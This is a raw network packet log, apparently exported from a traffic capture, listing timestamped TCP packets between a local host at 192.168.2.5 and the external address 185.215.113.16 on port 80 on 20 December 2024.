Dec 20, 2024 16:53:36.899094105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.899106026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.899117947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.899130106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.899144888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.899199009 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.935873032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.935971975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.935983896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.936017036 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.936050892 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.936280012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.936489105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.936500072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.936655045 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.936839104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.936849117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.936860085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.936870098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.936893940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.936925888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.936925888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.937118053 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.937520027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.937557936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.937570095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.937588930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.937691927 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.937691927 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.938210964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.938221931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.938231945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.938244104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.938255072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.938298941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.938319921 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.939196110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.939208984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.939219952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.939230919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.939243078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.939274073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.939341068 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.939341068 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.940119982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.940133095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.940145969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.940156937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.940181017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.940192938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.940217972 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.940217972 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.940262079 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.941056967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.941068888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.941081047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.941092014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.941103935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.941124916 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.941176891 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.941979885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.941992998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.942003965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.942015886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.942073107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.942075014 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.942075014 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.942085981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.942097902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.942154884 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.943006039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.943068981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.943082094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.943094969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.943108082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.943135977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.943237066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.943896055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.943907976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.943943977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.943957090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.943970919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.944010973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.944040060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.944052935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.944161892 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.944977999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.944989920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.944999933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.945013046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.945024967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.945038080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.945049047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.945102930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.945102930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.945844889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.945924044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.945935965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.945947886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.945959091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.946017027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.946017027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.947012901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.947026014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.947036982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.947051048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:36.947103977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:36.947103977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.019479036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.019572973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.019587994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.019658089 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.019867897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.019879103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.019890070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.019900084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.019931078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.020030022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.020548105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.020560026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.020570993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.020584106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.020627022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.020663977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.021171093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.021182060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.021193981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.021367073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.021626949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.021636963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.021676064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.021687031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.021697998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.021748066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.021764040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.022638083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.022650957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.022717953 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.087205887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.087479115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.087490082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.087507010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.087521076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.087559938 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.087563038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.087575912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.087598085 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.087635994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.088248968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.088260889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.088273048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.088284969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.088334084 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.088558912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.088998079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.089010954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.089023113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.089034081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.089047909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.089124918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.089124918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.089890957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.089910030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.089921951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.089932919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.090100050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.128047943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.128103971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.128118038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.128211975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.128495932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.128510952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.128535032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.128634930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.128634930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.129003048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.129017115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.129030943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.129043102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.129055977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.129106045 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.129894972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.129928112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.129939079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.129951954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.129971981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.129985094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.130312920 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.130312920 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.130312920 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.130853891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.130877972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.130889893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.130901098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.130922079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.130934000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.130985975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.130985975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.130985975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.131884098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.131900072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.131927013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.131938934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.131952047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.131956100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.131963968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.132088900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.132088900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.132834911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.132848978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.132868052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.132879972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.132890940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.132905006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.133136988 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.133137941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.133873940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.133893013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.133905888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.133919954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.133933067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.133945942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.133991957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.133991957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.134852886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.134866953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.134880066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.134891987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.134902954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.134917021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.134922981 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.134948969 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.134988070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.135824919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.135839939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.135852098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.135867119 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.135879040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.135890007 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.135973930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.135973930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.136786938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.136801958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.136812925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.136825085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.136836052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.136847019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.136904955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.136904955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.137690067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.137717962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.137728930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.137757063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.137768984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.137787104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.137799025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.137820959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.137953043 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.138720036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.138735056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.138747931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.138760090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.138772011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.138783932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.138796091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.138827085 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.138860941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.211518049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.211575031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.211677074 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.211766958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.211781979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.211899042 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.212074995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.212148905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.212162971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.212177992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.212191105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.212357044 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.212898016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.212935925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.212956905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.212969065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.212975025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.213009119 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.213124037 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.213737965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.213795900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.213809013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.213820934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.213834047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.213877916 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.213932991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.214657068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.214668989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.214783907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.279444933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.279515982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.279530048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.279659986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.279753923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.279767036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.279959917 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.280123949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.280143976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.280157089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.280170918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.280184031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.280196905 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.280283928 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.281044006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.281055927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.281068087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.281080961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.281092882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.281172991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.282022953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.282037020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.282048941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.282061100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.282073975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.282088041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.282099962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.282118082 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.282162905 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.320327997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.320425987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.320439100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.320671082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.320772886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.320822954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.320842028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.320854902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.320875883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.320888042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.320897102 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.320991039 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:37.321821928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.321882010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:37.321894884 CET	80	49739	185.215.113.16	192.168.2.5
